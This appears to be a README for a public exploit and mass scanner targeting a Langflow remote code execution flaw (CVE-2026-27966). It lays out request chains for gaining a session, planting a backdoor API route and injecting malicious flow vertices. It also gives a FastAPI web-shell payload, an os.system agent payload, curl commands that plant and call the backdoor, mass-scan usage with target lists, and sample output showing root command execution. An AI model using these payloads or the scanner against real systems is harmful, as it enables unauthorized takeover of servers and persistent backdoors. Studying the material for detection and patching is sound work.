CVE-2026-27966

GET  /api/v1/auto_login          → obtain session / API key
POST /api/v1/custom_component    → register backdoor route
GET  /api/{backdoor}?c=command   → RCE

POST /api/v1/custom_component    → register backdoor route
GET  /api/{backdoor}?c=command   → RCE

GET  /api/v1/flows/basic_examples  → extract flow UUIDs (26 exposed)
POST /api/v1/build/{UUID}/vertices → inject malicious vertex
POST /api/v1/run/{UUID}            → execute vertex code → RCE

agent_kwargs = {
    "verbose": self.verbose,
    "allow_dangerous_code": True,  # hardcoded — cannot be disabled via UI
}
agent_csv = create_csv_agent(..., **agent_kwargs)

Action: python_repl_ast
Action Input: __import__("os").system("command")

curl -sk 'https://target.com/api/v1/auto_login'
# Returns session with access_token → full API access

from fastapi import APIRouter, Query
router = APIRouter()
@router.get("/sh")
async def cmd(c: str = Query("")):
    import os
    return os.popen(c).read()
app.include_router(router, prefix="/api")

git clone https://github.com/shinthink/CVE-2026-27966.git
cd CVE-2026-27966
pip install -r requirements.txt

# Single target
python cve_2026_27966.py -t target.com:7860

# Mass scan
python cve_2026_27966.py -f targets.txt

# Mass scan + save results
python cve_2026_27966.py -f targets.txt -o rce.txt

# Detect only (skip exploitation)
python cve_2026_27966.py -f targets.txt --no-exploit

# Verbose output
python cve_2026_27966.py -f targets.txt -v

  -t, --target      Single target (IP:port or domain)
  -f, --file        Target list, one per line
  -o, --output      Save RCE results to file
  --threads         Concurrent workers (default: 30)
  --no-exploit      Detection only, skip RCE attempts
  -v, --verbose     Show all results including non-RCE targets

$ python cve_2026_27966.py -t target.com:7860 -v

  CVE-2026-27966 — Langflow RCE Scanner
  CVSS 9.8 | Pre-Auth | Route Injection → RCE

  Host     : target.com:7860
  Langflow : YES v1.2.0
  Vuln     : YES
  API Key  : NOT REQUIRED
  RCE      : YES
  Output   : uid=0(root) gid=0(root) groups=0(root)
  Time     : 12.3s

  CVE-2026-27966 Langflow RCE Scanner
  Targets: 4127 | Threads: 30 | Exploit: ON
  -------------------------------------------------------

  [RCE]  192.168.10.50     v1.2.0    7.3s
         uid=0(root) gid=0(root) groups=0(root)
  [AUTH] target.internal:4433 v1.2.0   14.1s  (API key)
  [500/4127] scanning... (12%)

  -------------------------------------------------------
  Total: 4127 | Langflow: 47 | RCE: 3 | API-Protected: 41
  -------------------------------------------------------

curl -sk 'https://target.com/api/v1/version'
# {"version":"1.2.0","main_version":"1.2.0","package":"Langflow"}

curl -sk 'https://target.com/api/v1/flows/basic_examples/' | jq '.[0].id'
# "bb0a7390-22a1-4a2e-8d7c-15463e53d9f2"

curl -sk -X POST 'https://target.com/api/v1/build/{UUID}/vertices' \
  -H 'Content-Type: application/json' \
  -d '{"id":"bkdr","type":"CustomComponent","data":{"code":"from fastapi import APIRouter\nrouter=APIRouter()\[email protected](\"/sh\")\nasync def cmd(c:str=\"\"):import os;return os.popen(c).read()\napp.include_router(router,prefix=\"/api\")","display_name":"X"}}'

curl -sk 'https://target.com/api/sh?c=id;hostname;uname -a'